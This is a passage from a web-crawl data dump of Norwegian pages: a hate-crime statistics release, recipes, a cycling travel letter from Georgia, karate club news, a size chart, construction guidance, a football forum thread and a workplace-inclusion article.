anmeldelsene, enten ved at det var registrert i anmeldelsen eller det direkte fremgikk av straffebudet. To tredeler av grunnlagene hadde sammenheng med hudfarge eller etnisk opprinnelse, 18,7 prosent hadde sammenheng med religion/livssyn og 12,1 prosent med homofil orientering. Nedsatt funksjonsevne var registrert som grunnlag i 7 anmeldelser.\n\n## Positiv \u00f8kning\n\n\\- Politidirektoratet vurderer \u00f8kningen i antallet anmeldelser som positiv. Det anses \u00e5 ha sammenheng med at flere saker avdekkes og blir registrert. Et h\u00f8yere kunnskapsniv\u00e5 om hatkriminalitet generelt gj\u00f8r samfunnet og politiet bedre rustet til \u00e5 forebygge og bekjempe hatkriminalitet, sier avdelingsdirekt\u00f8r Kristin O. Kvigne i politifagavdelingen i Politidirektoratet.\n\n## St\u00f8rste alvor\n\nKvigne sier at Politidirektoratet vil bidra til at hatkriminalitet f\u00e5r oppmerksomhet i politiet og tas p\u00e5 st\u00f8rste alvor. Direktoratet vil f\u00f8lge opp og samarbeide med politidistriktene, bidra til erfaringsutveksling, identifisering av utfordringer og videreutvikling av fagfeltet. Et arbeid for \u00e5 utarbeide en veileder for registrering av hatkrim er ogs\u00e5 iverksatt, og blir ferdigstilt i l\u00f8pet av \u00e5ret.\n\n", "language": "no", "__index_level_0__": "01e83a2f-b82b-4422-bcca-aee13aa4c29f"}
{"url": "http://www.foreldreportalen.no/forum/showthread.php?s=b9c79380c3f034d2fc3808897d7cd0aa&p=4553336", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:36:27Z", "text": "<br />\n2 bokser hermetiske tomater<br />\n1 l\u00f8k (gjerne r\u00f8d l\u00f8k) (finkuttet)<br />\n1 r\u00f8d paprika (finkuttet)<br />\n1 gulrot (finkuttet)<br />\n2-5 hvitl\u00f8ksb\u00e5ter<br />\n1 finhakket chili (kan sl\u00f8yfes)<br />\nca 100 g chorizop\u00f8lse<br />\n1 ts spisskummin/cumin<br />\n1/2 ts cayennepepper<br />\n1 ts merian<br />\n3 laub\u00e6rblad<br />\n3 stjerneanis (laub\u00e6rblad og stjerneanis skal koke i retten, men fjernes fra gryta f\u00f8r den spises) - evt 1 ts malt stjerneanis<br />\n4-6 ruter m\u00f8rk sjokolade<br />\n", "language": "no", "__index_level_0__": "09e3996a-52d1-4438-9965-981c1c7ce6b6"}
{"url": "http://docplayer.me/2686332-Pa-to-hjul-gjennom-kaukasus-i-odins-spor-reisebrev-3-georgia-here-we-come.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-25T00:17:09Z", "text": "1 P\u00e5 to hjul gjennom Kaukasus i Odins spor reisebrev 3 - Georgia here we come\\! Vi sykler i medvind ut av det muslimske Azerbaijan og inn i det kristne Georgia. Men vi tar med oss inntrykkene og Thor Heyerdals teorier om Odin. If\u00f8lge han ble Odin fordrevet av romerne f\u00f8rst til Dons munning nord i Kaukasus, og har da naturlig dratt gjennom det som i dag er lille Georgia med 4.5 millioner innbyggere, omtrent som Norge. Det er ogs\u00e5 i stor grad et fjelland, som Norge. Men der slutter likheten. Hoved-eksport er vin og mineralvann. De bygger n\u00e5 ut 15 fossefall og satser p\u00e5 fornybar vannenergi. Vi sykler i det gr\u00f8nne p\u00e5 vei til Georgia V\u00e5r unge guide her, Demetre fra Caucasus Travel bekrefter p\u00e5 sp\u00f8rsm\u00e5l at det etter parlamentsvalget for et \u00e5r siden har v\u00e6rt politisk krig mellom de to st\u00f8rste partiene de bl\u00e5 og de r\u00f8de. Oi, er det litt som i Norge tenker vi Erna og Jens. Det er etter \u00f8ynene som ser. Begge partiene her er solid kapitalistiske. De bl\u00e5 Georgia Dream vant valget og har statsministeren. Han heter Ivanishvili og er russisk oligark og mangemilliard\u00e6r. Han har en privat zoologisk hage med kenguru. Men vanlige folk i Georgia er fattige og har en lang vei igjen \u00e5 b\u00e6re sine dr\u00f8mmer. Det andre partiet, de r\u00f8de eller United National Movement, har presidenten. Han heter Saakashvili. De er mest pro-vestlige, men har visstnok spilt sine kort p\u00e5 en for autorit\u00e6r m\u00e5te. Hans folk er etter valget avsatt eller satt i fengsel og statsministeren skrudde av str\u00f8mmen til pasientpalasset en periode for \u00e5 vise sin makt, det if\u00f8lge Aftenposten. Str\u00f8mmen g\u00e5r for \u00f8vrig stadig vekk her, det lille vi har erfart. Man trenger ikke v\u00e6re president. Men v\u00e5r guide kommer med motinformasjon. Han er for \u00f8vrig en tynn liten tyve\u00e5ring, og savner sin karriere som proff folkedanser, har v\u00e6rt et \u00e5r i USA og snakker godt engelsk. Faren er tannlege, moren l\u00e6rer de bor 1\n\n\n\n2 i Gori, han i Tbilisi alene. De er flyktninger fra S\u00f8r-Ossetia etter krigen der i Vi referer til Aftenpostens p\u00e5stander, men guiden sier litt brysk at det med str\u00f8mmen til presidentpalasset bare er et ondsinnet rykte og at de som f\u00f8r be fengslet drev \u00f8konomisk kriminalitet og korrupsjon, at det ikke var politisk fengsling. Da s\u00e5 - der st\u00e5r saken vi vet ikke sannheten annet enn at folk flest er fattige med gjennomsnitts disponibel m\u00e5nedsl\u00f8nn p\u00e5 700 Lari ( 1 Lari= 3.6 kr). Hest og kjerre langs veiene i Georgia er et vanlig syn V\u00e5r f\u00f8rste overnatting i Georgia er i landsbyen Lagodekhi i et s\u00f8tt lite familiehotell med bare oss som gjester. Som en appetitt-skjerper legger vi fra oss syklene og tramper 4 timer til fots gjennom en nasjonalpark. Den er subtropisk frodig gr\u00f8nn med et fossefall som innlagt m\u00e5l og attraksjon. Men det uventete er ofte det beste - det var en gruppe ungdommer som feiret at de alle avsluttet skolen for 5 \u00e5r siden. De satt som en syngende piknik gruppe i nasjonalparken og b\u00f8d oss inn p\u00e5 vin og grillet ribbe. Vi tok en joik til motm\u00e6le og det ble en av disse gylne l\u00f8ftete \u00f8yeblikk som legger seg som et lyst minne i sinnet. Om natta regnet det, et skikkelig skybrudd. Det er visstnok lenge siden, s\u00e5 b\u00f8ndene og markene trengte det s\u00e5rt. Men med lyset sprakk skyene som trollet i eventyret og en het morgen dampet vannet fra gatene. Lufta var tropemettet av fuktighet f\u00f8r vi var kommet p\u00e5 hjul. Det ble en varm flat etappe p\u00e5 120 km til Telavi. Det var lagt inn tre stopp p\u00e5 veien - et vinslott, et gammelt fort og en katedral. Hva mer kan en syklist 2\n\n\n\n3 begj\u00e6re p\u00e5 sin vei\\! Det var nok ikke slike fasiliteter den gang Odin str\u00f8k forbi med en romers legion i h\u00e6lene - hvis det var det han gjorde. Vinslottet Khareba har tuneller som vinkjellere, svalende 14 grader C, til sammen en mil lange. Alle veggene var dekket av flasker s\u00e5 lang blikket rakk. De produserer over en million flasker i \u00e5ret, men eksporterer verken til Norge eller Russland, mest til Kina. Vi vinsmakte rundt et gedigent eikebord langt inne i en av tunellene. Uts\u00f8kt vin og ingen av utspytt-karrene ble v\u00e5te. Glade vinsmakere gjennom sine glass 3\n\n\n\n\n5 scene spilte vi n\u00e5 inn - der Odin utbryter at han f\u00f8ler seg fordrevet av sykkelgruppa fra sin nye kj\u00e6rlighet Venera hos Udi-folket. Men Thor fnyser av forelskelsen og sammenlikner sykkelgruppa med romerne, at de jagde ham nordvest over i sin tid. Odin murrer men nikker, sier at det var alder og ikke sverd som til slutt ble hans bane. Derfor ba han sine s\u00f8nner gj\u00f8re ham til gud slik at han ville bli husket og derved f\u00e5 en levende \u00e5nd gjennom alle de som husker ham. Thor sier at det gjelder ogs\u00e5 for han, selv om folk hakker p\u00e5 hans ideer s\u00e5 husker de ham. Og sant nok, ingen av dem ville blitt levendegjort i dukkene om ikke mytenes kraftfelt omkring dem hadde en resonans i hjerner og hjerter til oss som lever i dag. Teater javel men p\u00e5 den m\u00e5ten f\u00e5r vi litt filosofisk refleksjon inn i en ellers travel sykkeldag. Men vi m\u00e5 videre. Den sykler vi 70 km til fjell landsbyen Sighnaghi. Men p\u00e5 oppfordring svinger vi f\u00f8rst innom et ny\u00e5pnet sykehus i Telavi. Det heter My Family Clinic p\u00e5 engelsk, har 90 senger og velutstyrt r\u00f8ntgen med CT og MR. Alt var nymalt hvitt og rent. Det ga et kj\u00f8lig preg, nesten uten bilder eller dekorasjon. All behandling er gratis, ogs\u00e5 poliklinikken fikk vi opplyst. Utgiftene deles mellom helseforsikring og stat. P\u00e5 f\u00f8deavdelingen ble vi fortalt at n\u00e6r alle f\u00f8dsler her er ved keisersnitt (Sectio). Det mest interessante for meg var \u00e5 treffe en av ortopedene, Zurab, en ung fremadstormende doktor som straks spurte om jeg kunne skaffe ham stipend til Norge. Han fortalte at de opererte alle slags brudd all traumatologi og dessuten hofteproteser, og planla \u00e5 starte med kneproteser. Vi utvekslet mails og lovet \u00e5 holde kontakten. 5\n\n\n\n6 Salg av gris langs veiene i Georgia er et vanlig syn, men tabu i muslimske Azerbaijan (utsnitt viser grisehodet bak) Veien slo til p\u00e5 slutten med en slyngete 400 h\u00f8ydemeter stigning i solsteiken opp til Sighnaghi. Det er en idyllisk brosteinsbelagt landsby som klorer seg fast i bratthenget n\u00e6r toppen i de gr\u00f8nnkledde fjellsidene. Landsbyen Sighnaghi klorer seg fast i den gr\u00f8nne fjellsiden Landsbyens diadem er nonneklosteret Bodbe der St. Nino er begravd. Det l\u00e5 vakkert til med en frodig kj\u00f8kkenhage rundt, der flittige nonner vannet og lukte. Nino var en kvinne som levde p\u00e5 400-tallet og hun kristnet omr\u00e5det. Etter sagnet gjorde hun mange undrer, og en solform\u00f8rkelse skremte kongen over til Kristus. Klosteret har et hellig ikon av Maria. Hun har bl\u00f8dd i et risp p\u00e5 kinnet etter at det ble malt. Det skyltes at en sovjetisk sykepleier brukte det som underlag, skar i Marias ansikt, men da straks d\u00f8de. Da jeg antydet at det kunne v\u00e6re sykepleierens blod og ikke et under, ble guiden helt m\u00f8rk i \u00f8ynene og understrekte at her tror man. 6\n\n\n\n7 Nonneklosteret Bodbe der St.Nino er begravd. Legg merke til at hun g\u00e5r igjen nederst til venstre. 7\n\n\n\n8 Torsdag var overskyet med litt duskregn, men likevel 25 varmegrader egentlig bra v\u00e6r for \u00e5 sykle 110 km til hovedstaden Tbilisi med 1.5 mill. innbyggere. Byen ble grunnlagt ca. 400 \u00e5r e.kr. rundt en varm kilde. Visstnok var det fyrst Vakhtang som red p\u00e5 fasanjakt og fant noen av fasanene ved kilden. Han bygget et bad rundt den. Enn\u00e5 i dag er badet \u00e5pent, og kilden holder 47 grader svovelholdig vann og 2 millioner liter i d\u00f8gnet veller fram. Man kan i dag f\u00e5 skum-massasje sammen med varmt svovelbad avec\\! Det sies at man blir som nyf\u00f8dt igjen etterp\u00e5. Men for meg holder det med en f\u00f8dsel. Vi hadde hviledag i Tbilisi og har sett fem kirker, tre museer og en brannstasjon. Jeg skal bry leseren med en kirke og brannstasjonen. Byens stolthet er Trinity-katedralen en nybygget dobbeltkirke som ruver med sitt gulltak i landskapet. Den er p\u00e5 st\u00f8rrelse med Vatikanet og m\u00e5 ha kostet et statsbudsjett. Guiden korser seg og forteller stolt at de bygger opp sine kirker igjen etter Sovjets fall i Inne i de mektige kirkerommene var det utallige ikoner og fresko malerier. Folk gikk rundt og kysset det ene relikvie etter det andre og b\u00f8yde hodet. Fra sakristiet l\u00f8d en dempet sang fra tre prester som messet. Det sl\u00e5r meg som en linje i alt vi ser og h\u00f8rer om kirker og ikoner at folk i Georgia er dypt ortodokse og tradisjonelle, og det mer enn i det muslimske Azerbaijan. De bygget denne gigantiske dobbelt-katedralen, mens folket s\u00e5rt trengte ressurser brukt p\u00e5 \u00f8kt levestandard. Konfronterer jeg guiden med det sier han forn\u00e6rmet at kirker og ikoner er \u00e5ndelig levestandard. Og kirkekunsten skal dessuten ikke endres eller moderniseres. De har egne kunstsentre som utdanner og lager religi\u00f8s utsmykning, det er ikke \u00e5pent for andre kunstnere. I arkitektur og borgerlig kunst kan de eksperimentere, men ikke i den religi\u00f8se. Her i Tbilisi er de vitterlig mange halsbrekkende arkitektoniske stunt, som for eksempel sneglehus konsertsalen eller glassbroen over Gora, se foto. 8\n\n\n\n9 Tbilisi sett fra glassbroen katedralens gullt\u00e5rn skimtes, presidentpalasset, sneglehus konsertsal. Brannstasjonen var en helt annen verden enn katedral. Vi ble mottatt overstr\u00f8mmende varmt uten kleskode, og guttedr\u00f8mmen ble raskt en realitet \u00e5 bli l\u00f8ftet 55 meter opp i en brannstige fra et brannbiltak. Stasjonen hadde moderne utstyr og dessuten to ambulanser med leger. Vi hilste p\u00e5 en av dem, unge Salome. T\u00f8ff jobb med mye trafikkskadete, sa hun. Og skulle du ant de hadde et stort brannmuseum, og det med bedre kunst enn stedlige Nasjonalgalleri etter min vurdering, da med brannmotiver i alle varianter. Dessuten hadde museet en unik samling av gammelt og nytt utstyr. V\u00e5r brannmannsyklist glemte b\u00e5de vonde bein og mage. 9\n\n\n\n10 P\u00e5 brannstasjon i Tbilisi 55 opp i lufta, og en stolt syklist og brannmann med hjelm fra brannmuseet. Har vi helt glemt v\u00e5r Odin? Neida. F\u00f8rste kveld i Tbilisi spiste vi aftens i en bule av en restaurant som passer godt inn i forestillingene om et georgisk Valhall. Det ble b\u00e5ret fram rikelig med mat og \u00f8l p\u00e5 langbord, dempet lys og h\u00f8y musikk, og litt freske fraspark med folkedans f\u00f8r vi alle slapp oss l\u00f8s p\u00e5 10\n\n\n\n11 dansegulvet. De eggende rytmene fikk grepet i partneren til \u00e5 l\u00f8sne, men til tider bandt vi oss sammen i en feiende ringdans. Er det slik stell i Valhall s\u00e5 er det greit nok \u00e5 d\u00f8 for fedrelandet. Det ble en foto-feil i forrige reisebrev fordi bildet av Kirken i Kish og bysten der av Thor Heyerdahl ikke kom med derfor limer jeg dem inn til slutt her. Men for tekst, se reisebrev 2. Med dette avslutter jeg reisebrev 3 i Tbilisi i morgen starter klatreetappene til de store h\u00f8yder i Kaukasus. S\u00e5 f\u00f8lg med i neste reisebrev\\! Lasse Efskind\n\n\n\n12 over: Kish kirken og bysten av Thor Heyerdahl der se reisebrev 2 12\n\n\n\n Preken 4. S etter p\u00e5ske 26. april 2015 Kapellan Elisabeth Lund Gratisuka har blitt en festuke her p\u00e5 Fjellhamar, og vi er veldig glad for alle som har bidratt og alle som har kommet innom. Alt er gratis.\n### Tulugaq synes det er kjedelig \u00e5 pugge bokstavene p\u00e5 tavlen. han heller ut av vinduet og reiser hit og dit i tankene.\n\n", "language": "no", "__index_level_0__": "5b67313d-d367-4546-9191-dc1e02531ec0"}
{"url": "http://nkko.no/artikler/nyheter?start=90", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:48:01Z", "text": "Her f\u00f8lger\u00a0en noe forsinket rapport fra\u00a0sommerleiren 2007 p\u00e5 Tj\u00f8me.\n\nDet ble gjennomf\u00f8rt 12 \u00f8kter med unntak av de som byttet ut den siste\u00a0treningen med en gradering. Leiren startet onsdag 26. juni og var ferdig\u00a0s\u00f8ndag 01. juli.\n\nSommerleiren 2007 er over.\u00a0\u00a0Det var over 120 stykker tilstede noe\u00a0vi alle\u00a0er sv\u00e6rt godt forn\u00f8yd med.\n\nHer er noen bilder fra leiren:\n\nEr du klar til en trivelig uke p\u00e5 Tj\u00f8me?\n\nVi skal overnatte p\u00e5 Lindh\u00f8y skole p\u00e5 Tj\u00f8me. Skolen ligger ved siden av Tj\u00f8mehallen. Vedlagt finner du ankomstanvisning.\n\n26 mai 2007 er det duket for EM i Volos i Hellas. Johnny Reiestad (Bryne) og Elisabet Myrstad (L\u00f8renskog) med st\u00f8tteapperat reiser nedover. Vi \u00f8nsker dei god tur, og lykke til med kampene. OUS\\!\n\nDet var p\u00e5 det meste 13 ivrige karateka som tok turen til Drammen denne\u00a0helgen. I tillegg til de 13 ut\u00f8verene var landslags trener Sensei Geir\u00a0Havreberg og klubbleder Sempai Marius Ommedal tilstede p\u00e5 samlingen. Det var\u00a0ut\u00f8vere fra Flekkefjord , Bryne, L\u00f8renskog, Nidaros og Horten som deltok.\n\nI anledningen oppstart av Drammen Karate Klubb \u00f8nsker klubben v/leder Marius Ommedal og \"feire\" dette. M\u00e5ten DKKK vil gj\u00f8re det p\u00e5 er \u00e5 holde sin f\u00f8rste samling og \u00f8nsker med det og invitere deg og dine medlemmer p\u00e5 trenings samling fredag den 11. mai til s\u00f8ndag 13. Mai.\n\nSemikontaktklassene vil kj\u00f8res puljevis for \u00e5 sikre at ut\u00f8verene f\u00e5r \u00a0minimum 15 minutters pause mellom kampene.\n\n", "language": "no", "__index_level_0__": "dab2ea52-2394-4cd4-905b-d48c74a16c83"}
{"url": "http://maaltid.no/oppskrifter/rabarbrapai-med-banan-og-ingefaer-is", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:34:56Z", "text": "# Rabarbrapai med banan og ingef\u00e6r-is\n\n\nAsiatisk vri p\u00e5 klassisk sommerdessert. Banan gj\u00f8r at du kan bruke mindre sukker\\!\n\n\\#pai \\#sommer \\#kaker \\#sommermat\n\n\n\n \n **  30 min  **  0\n\n**  ANDRE SOM DENNE \n\nM\u00e5ltid for **4 personer**\n\n Trykk +/- for \u00e5 endre antall personer eller tast inn mengden ingrediens du har. \n\n## Ingredienser\n\n  - g\n    \n    Rabarbra, r\u00e5\n\n  - stk.\n    \n    Banan, r\u00e5\n\n  - dl\n    \n    Mandelmel\n\n  - ss.\n    \n    Perlesukker\n\n  - g\n    \n    Sm\u00f8r\n\n## Ingef\u00e6ris\n\n  - knivs.\n    \n    Ingef\u00e6r, syltet\n\n  - l\n    \n    Vaniljeis\n\n## Slik gj\u00f8r du:\n\nNormalt krever rabarbra en hel del sukker, men her er det bananen som bidrar med \u00e5 balansere s\u00f8dmen.\n\n1\n\nSett ovnen p\u00e5 225 grader. Rens og skj\u00e6r rabarbraen i biter. Skrell og skiv bananene. Fordel rabrabra og banan i 4 ildfaste porsjonsformer.\n\n2\n\nDryss mandelmel og perlesukker over. H\u00f8vle sm\u00f8r over. Stek midt i ovnen i ca. 20 min.\n\n## Slik lager du ingef\u00e6r-iskrem:\n\n1\n\nFinhakk den syltede ingef\u00e6ren. Pisk iskremen luftig med en h\u00e5ndmikser. R\u00f8r inn ingef\u00e6ren. Server isen til den lune paien.\n\n", "language": "no", "__index_level_0__": "020f2187-966e-47c9-bf86-1d0557d6e8ac"}
{"url": "https://www.minior.no/produkt/kosebukse/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:33:18Z", "text": "\n\n# St\u00f8rrelsesguide kosebukse\n\nAlle m\u00e5l er oppgitt i cm. Vi gj\u00f8r oppmerksom p\u00e5 at sm\u00e5\u00a0avvik kan forekomme.\n\nTabellen viser barnets m\u00e5l som plagget er tilpasset til.\n\nA:\u00a0Barnets innerbenslengde. M\u00e5l fra kilen og ned til gulvet.  \nB: Barnets livvide: M\u00e5l rundt\u00a0livet til barnet.\n\n  - St\u00f8rrelsesguide kosebukse\n\n| Beskrivelse/St\u00f8rrelse       | 62   | 68   | 74   | 80 | 86   | 92 | 98 | 104  | 110 | 116  | 122 |\n| --------------------------- | ---- | ---- | ---- | -- | ---- | -- | -- | ---- | --- | ---- | --- |\n| A - Barnets innerbenslengde | 20   | 23,5 | 27,5 | 31 | 34,5 | 38 | 41 | 44,5 | 48  | 51,5 | 55  |\n| B - Barnets livvidde        | 42,5 | 44   | 45,5 | 47 | 49   | 51 | 52 | 54   | 56  | 58   | 60  |\n\n", "language": "no", "__index_level_0__": "423d6595-491f-47df-a1ab-0560f81ae6c3"}
{"url": "http://docplayer.me/1686447-God-forretningsskikk-ansvarsforsikringer-som-gir-oppdragsgiverne-trygghet.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-25T00:16:32Z", "text": " toleranser e) (Krav til) pr\u00f8ving, kontroll x)\")\n\n6 Hovedprosess 4 - en kort introduksjon Viktige prinsipper ved bruk av Prosesskoden - generell tekst: a) Omfang regulerer hva som skal inng\u00e5 i leveransen/ytelsen og som entrepren\u00f8ren m\u00e5 beregne inn i sine enhetspriser. Da har vi 2 alternativer, avhengig av hva som inng\u00e5r i a) omfang: 1. Teksten er grei slik det st\u00e5r, eller 2. Du m\u00e5 legge til \u00f8nsket leveranse-/ytelse under \"spesiell beskrivelse\" Eksempel: \"BBomfatter i tillegg fjerning av forskaling etter riving.\" Unntakene er arbeider det ikke finnes egne prosesser for, samt der det \u00f8nskes andre alternativer enn det det finnes prosesser for. 6\n\n\n\n\n\n15 PROSESS 42 GR\u00d8FTER KUMMER OG R\u00d8R Hvordan beskrive gr\u00f8ftehellinger? Hvorfor st\u00e5r det at gr\u00f8ftesidene i l\u00f8smasse\"skal ha en teoretisk helning lik 2:1\"? Hensikten med dette er \u00e5 fastsette volumet som skal avregnes for graving og tilbakefylling. Hvordan skal vi beskrive det korrekt og i henhold til sikkerhet? Konsulenten har ansvaret for \u00e5 prosjektere n\u00f8dvendige sikringstiltak. Entrepren\u00f8ren kan velge \u00e5 sikre gr\u00f8ftene p\u00e5 annet vis, man f\u00e5r ikke godtgjort eventuelle merkostnader og b\u00e6rer selv risikoen ved annen l\u00f8sning. Hva b\u00f8r vises p\u00e5 planene? Tegningene m\u00e5 vise forsvarlig helling eller annen forsvarlig avstivning. Detaljtegninger av aktuell sikring, tverrsnitt, p\u00e5f\u00f8rt opplysninger om masser ned til 1 m under gr\u00f8ftebunn, grunnvannsniv\u00e5, opplysninger om eksisterende infrastruktur i bakken, andre hindringer mm. Priskonsekvenser og avregning: Entrepren\u00f8ren f\u00e5r kun betalt for teoretisk graveprofil 2:1 og m\u00e5 prise gr\u00f8ften deretter. Totalt volum av gravemasser avhenger av valg av sikringsmetode. Hvordan p\u00e5virker dette beregning av overskuddsmasser? 15\n\n\n\n17 PROSESS 42.5 Avstivede gr\u00f8fter SPUNTING Svar: Prosess 47 omfatter forsterkning av gr\u00f8fter medtatt i prosess 42 og 45. Det er da naturlig \u00e5 velge underprosess 47.2 Spunting. I underprosess Sikring, er metoden uspesifisert. Prosessen Sikring \"stopper\" her. Det vil si at vi m\u00e5 beskrive aktuell metode og med eventuelle underprosesser for f.eks ulike gr\u00f8fter (dybde, bunnbredde). Men, i samferdselsprosjekter er det vanlig \u00e5 beskrive/samle sikringstiltak under HP 8 (Prosesskode 2). 83 KONSTRUKSJONER I GRUNNEN (PELER, SPUNT ETC.) 17\n\n.\")\n\n18 PROSESS 42.5 Avstivede gr\u00f8fter Gr\u00f8ftekasser- hvor beskriver vi dette? Hvordan b\u00f8r en beskrive levering og arbeider med gr\u00f8ftekasser? Gr\u00f8ftekasser beskrives kun, dersom entrepren\u00f8ren ikke har alternative metoder for sikring, alts\u00e5 forhold som er utenfor entrepren\u00f8rens kontroll. Av f.eks. plasshensyn, eller sv\u00e6rt bl\u00f8t grunn hvor ingen annen l\u00f8sning gir trygge arbeidsforhold. 18\n\n\n\n19 PROSESS 42.5 Gr\u00f8ftekasser b\u00f8r beskrives: Under egen prosess: \u00d8vrig F.eks Gr\u00f8ftekasser Omfang, krav til utf\u00f8relse og mengderegel angis for hvert tilfelle. 19\n\n\n\n", "language": "no", "__index_level_0__": "4c4d6bae-41cb-474c-95d4-9d1b7230a683"}
{"url": "http://vgd.no/sport/fotball-norsk/tema/1837149/tittel/treningskamper-vs-seriespill", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:41:40Z", "text": "# Treningskamper vs seriespill\n\n   \nHepp1971Innlegg: 1909\n\n20.03.17 12:36\n\nJeg ser at det igjen er en del klubber som legger mer krefter enn andre, i \u00e5 vinne det som er av treningskamper, blant annet Godset og Odd. Godset ga seg ikke f\u00f8r det stod 5-0 mot Sogndal nylig og det er en klar indikasjon p\u00e5 at laget m\u00e5 ha kj\u00f8rt relativt full pinne hele veien. S\u00e5 har man andre klubber som gj\u00f8r det helt ok, vinner noen kamper og taper andre, uten \u00e5 imponere veldig. Blant annet var Brann grusomme i fjor\u00e5rets treningskamper, det ble scoret ekstrem f\u00e5 m\u00e5l, det endte stort sett med 0-0 og 0-1. Men alle og enhver s\u00e5 hvordan det gikk i seriespillet. Igjen har Brann levert en passe forsesong, vesentlig bedre enn fjor\u00e5rets, men likevel ikke noe \u00e5 hoppe i taket av. Jeg ser ogs\u00e5 at RBK har levert s\u00e5nn passelig. Storlagene i England har som regel heller ikke noe \u00e5 hoppe i taket av, n\u00e5r man ser p\u00e5 en eventuell treningskamptabell.\n\nSp\u00f8rsm\u00e5let er om klubbenes fans legger mer i trengingskampene, enn hva laget og trenerne gj\u00f8r. Vi f\u00e5r se hvordan det blir n\u00e5r alvoret starter.\n\n   \nGunnar88Innlegg: 5704\n\n20.03.17 12:39\n\n**Hepp1971**: Sp\u00f8rsm\u00e5let er om klubbenes fans legger mer i trengingskampene, enn hva laget og trenerne gj\u00f8r. Vi f\u00e5r se hvordan det blir n\u00e5r alvoret starter\n\nNja, alltid positivt \u00e5 vinner kamper, men det betyr veldig lite. Odd sine treningskamper har v\u00e6rt veldig varierende, men totalinntrykket er at det har v\u00e6rt helt greit. Spiller de p\u00e5 samme m\u00e5te i serie\u00e5pningen mot RBK blir de om ikke sendt hjem som slakt, s\u00e5 blir det hvertfall et stygt tap.\n\nen knepen seier hjemme mot Jerv og er ikke akkurat s\u00e5 veldig mye \u00e5 rope hurra for.\n\n   \n20.03.17 12:50\n\nTreningskamper betyr absolutt ingenting og jeg kommer aldri til \u00e5 skj\u00f8nne meg p\u00e5 folk som stiller til sesongstart fulle av forventning fordi man har sl\u00e5tt lag man ikke vet om har stilt med full styrke, hvor er i treningsoppbyggingen eller hvor hardt de prioriterer skadeavverging.\n\n**Oslo1913**: \u00c5 vinne kamper og mestre planen, gj\u00f8r det, samme hvor motstander er i oppkj\u00f8ringen.\n\nJavel, ikke min erfaring.\n\n   \nHepp1971Innlegg: 1909\n\n20.03.17 13:12\n\nMan s\u00e5 det for eksempel i matchen mellom Brann og FKH p\u00e5 La Manga, der FKH l\u00f8p r\u00e6ven av seg i hele kampen og stresset Brann h\u00f8yt oppe p\u00e5 banen i samfulle 90 minutter, mens Brann var mer bedagegelige, omtrent som Malm\u00f8 var, da Brann m\u00f8tte dem og Brann var like energiske som FKH. Regelen er at man skal ha en viss intensitet ogs\u00e5 i treningskamper, men det skal ikke v\u00e6re full pinne, for da er sjansene for skader store. Men det m\u00e5 innr\u00f8mmes, at om man ser en treningskamp med Brann live, s\u00e5 kommer man i modus med en gang og man ergrer seg over hvorfor intensiteten og vilje ikke er st\u00f8rre.\n\n20.03.17 13:20\n\n**Hepp1971**: at om man ser en treningskamp med Brann live, s\u00e5 kommer man i modus med en gang og man ergrer seg over hvorfor intensiteten og vilje ikke er st\u00f8rre\nAner ikke da jeg aldri ser treningskamper av prinsipp. Om det er Real/ Man U/ Liverpool i fellesferien eller Mandalskameratene i sesongoppkj\u00f8ring er treningskamper totalt uten interesse for meg kjenner jeg.\n\nHepp1971Innlegg: 1909\n\n20.03.17 14:04\n\nIkke like lett alltid, for noen ganger kan det en laget ha 110% tenning, mens det andre bare kj\u00f8rer 60%. Det kan \u00f8delegge verdien for begge.\n\n   \n20.03.17 14:06\n\n**Windsor**: Treningskampene betyr noe, men du m\u00e5 se p\u00e5 kampene og ikke resultatene. Du m\u00e5 forst\u00e5 hva du ser.\n\nAkkurat det har du rett i. Men de fleste av oss vet ikke n\u00f8dvendigvis hva vi ser etter siden fokus er annerledes i forhold til tellende kamper.\n\n   \n20.03.17 18:36\n\nSer ogs\u00e5 nesten aldri treningskamper. Resultater her legger jeg liten vekt p\u00e5.\n\n", "language": "no", "__index_level_0__": "a2cc5c7a-00c4-4efc-bc05-ffd3248766d5"}
{"url": "https://www.arbeidsmiljo.no/den-skjulte-arbeidskraften/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:02:31Z", "text": "# Den skjulte arbeidskraften\n\nTekst: Grethe Ettung (2009)  \n**N\u00e6rings- og arbeidsgiver\u00adorganisasjonen HSH vil ha flere personer med redusert arbeidsevne ut i jobb.**\n\n\u2013 Vi vil v\u00e6re mytebrytere, konstaterte HSH-direkt\u00f8r Vibeke Hammer Madsen, da hun inviterte ledere med personalansvar til meningsfylt gjestebud p\u00e5 Frogner hovedg\u00e5rd. Sammen med styreleder i R\u00e5det for psykisk helse, Ansgar Gabrielsen, \u00f8nsket hun \u00e5 sl\u00e5 hull p\u00e5 myter som det at mennesker med psykiske lidelser er mindre produktive, koster mer, har et h\u00f8yere frav\u00e6r og er en ustabil arbeidskraft.\n\n## Et rausere arbeidsliv\n\nHSH vil si ja til et rausere og mer mangfoldig arbeidsliv. \u2013 Vi i HSH vil fokusere p\u00e5 dette i eget hus. Det betyr at alle som s\u00f8ker stilling hos oss, stiller likt. Vi ser ikke p\u00e5 begrensningene, men p\u00e5 mulighetene. Hammer Madsen kunne fortelle om stor interesse i handels- og tjenesten\u00e6ringene for den skjulte arbeidskraften. For \u00e5 kunne m\u00f8te interessen og kunnskapsbehovet hos medlemmene, understreket hun verdien av det gode samarbeidet med R\u00e5det for psykisk helse 